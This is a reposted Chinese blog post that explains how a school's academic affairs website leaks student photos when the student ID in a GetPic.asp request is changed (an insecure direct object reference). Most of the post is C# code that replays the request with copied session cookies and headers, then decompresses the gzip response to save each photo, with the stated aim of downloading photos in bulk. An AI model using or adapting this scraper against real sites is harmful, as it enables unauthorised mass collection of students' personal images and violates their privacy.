【经验】对教务处网站的抓包分析并GET教务处照片
来源:互联网 发布:java servlet 编辑:程序博客网 时间:2024/05/16 19:53
某校教务处网站一直存在这样一个漏洞:
在“在校照片”上通过firefox或是chrome的审查元素可以看到
在校照片的获取其实是通过一个asp动态请求,更重要的是,这xh的值正是学生的学号。
于是我们萌生出一个想法,可不可以通过改掉学号的值,获取到别人的照片。经过试验,这方法是可行的,我们真的可以得到另一个人的照片。
然而这种方式一次只能查一个人的照片,我们有没有可能利用这个asp请求来批量GET照片?
所以我们先来看这个asp请求的具体内容吧:(学号是随便给的存在的真实学号)
我们可以看到Request请求的全部headers(事实上是设计了 CanViewPhotoFilter这一层的,不知道为什么没有用)
于是我们通过C#来自己构造这样一个请求:
<pre name="code" class="csharp"> Stream s;
<span style="white-space:pre"></span> id = "123456789";//此处为学号
<pre name="code" class="csharp"><span style="white-space:pre"></span> string url = "http://XXX.XXXX.edu.cn/netean/GetPic.asp?pic=xh&xh=" + id;HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); req.Host = "XXX.XXXX.edu.cn"; req.KeepAlive = true; req.Accept = "image/webp,*/*;q=0.8"; req.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36"; req.Referer = "http://XXX.XXXX.edu.cn/netean/com/jbqkcx.asp"; string[] headers = { "Accept-Encoding:gzip, deflate, sdch", "Accept-Language:zh-CN,zh;q=0.8", "Cookie:LogonType=%B0%E0%BC%B6; user=1614001; _gscu_463181622=35339685ndywrf11; ASP.NET_SessionId=axdqvh55vr5wn1jeqizbdxzo; ASPSESSIONIDCSDCCTDD=DAEMCKLCGHJJLMKLCPJOBKOK; CanViewPhotoFilter=161430209; DedHasLogin=1", };//完全复制request headers的内容foreach (string header in headers) req.Headers.Add(header);
<span style="white-space:pre">req.Method = </span>"GET"<span style="white-space:pre">;</span>
<span style="white-space:pre"></span> try { HttpWebResponse res = (HttpWebResponse)req.GetResponse(); DisplayResponse(res, id); } catch (Exception e) { Console.WriteLine(e.Message); throw new Exception("获取失败\n"); } req.Abort();
<span style="white-space:pre"></span> res.Close();
值得一提的是,这里的最后两句话是必须要有的,否则当重复调用这段代码时会出现第三次GET必定超时的结果(我也不知道为什么)。
然而……
第一次跑完之后得到了一堆乱码,既不是png也不是html,于是我们自已研究返回的response发现:
也就是说,这是经过gzip压缩的数据。于是我们用以下这段代码进行解压
<span style="white-space:pre"></span>FileStream fs = new FileStream(filePath, FileMode.Create); GZipStream gzip = new GZipStream(stream, CompressionMode.Decompress); byte[] bytes = new byte[1024]; int len = 0; if ((len = gzip.Read(bytes, 0, bytes.Length)) > 0) { fs.Write(bytes, 0, len); } else { fs.Close(); File.Delete(filePath); throw new Exception(); } while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0) { fs.Write(bytes, 0, len); }
将得到的fs以png格式保存,大功告成~
0 0
- 【经验】对教务处网站的抓包分析并GET教务处照片
- 校外访问教务处网站
- 模拟登陆教务处网站C#
- Python爬某Ecust教务处网站
- 爬学校教务处的成绩单
- 三小时拿下东南大学教务处网站
- 【4月20日】使用requests登陆教务处网站并查询课表
- 模拟登陆学校教务处网站,并保存到成绩为excel格式
- 【Python3.6爬虫学习记录】(十二)PhantomJS模拟登陆并爬取教务处学生照片(哈工大)
- 教你解析教务处网站,查找卷面成绩、平时成绩(西邮教务处)
- LL教你入侵网站(算是吧)--对于天津理工教务处网站找回密码方案的建议
- 太原理工大学教务处
- 燕山大学教务处
- 沈阳工业大学教务处
- 许昌学院教务处
- 检测某大学教务处
- 学院教务处公告
- HIT教务处登陆页面
- IOS推送功能的实现
- 你应该知道的一些事情——CSS权重
- coco2dx heap corruption detected by dlfree 闪退的问题
- java.util.ConcurrentModificationException 解决办法
- 大话设计模式之初见(一)
- 【经验】对教务处网站的抓包分析并GET教务处照片
- wdcp 或者 主机宝 或 阿里云一键安装包 再也不用担心 服务器环境搭建了
- 关于cocos2dx观察者模式(CCNotificationCenter)
- Java生产消费者模式之项目实践
- urllib
- VS2013 Qt5显示中文字符
- Codeforces 558A Lala Land and Apple Trees(水题)
- 图的存储
- UITableView自定义分割线、改变Header和Footer的背景颜色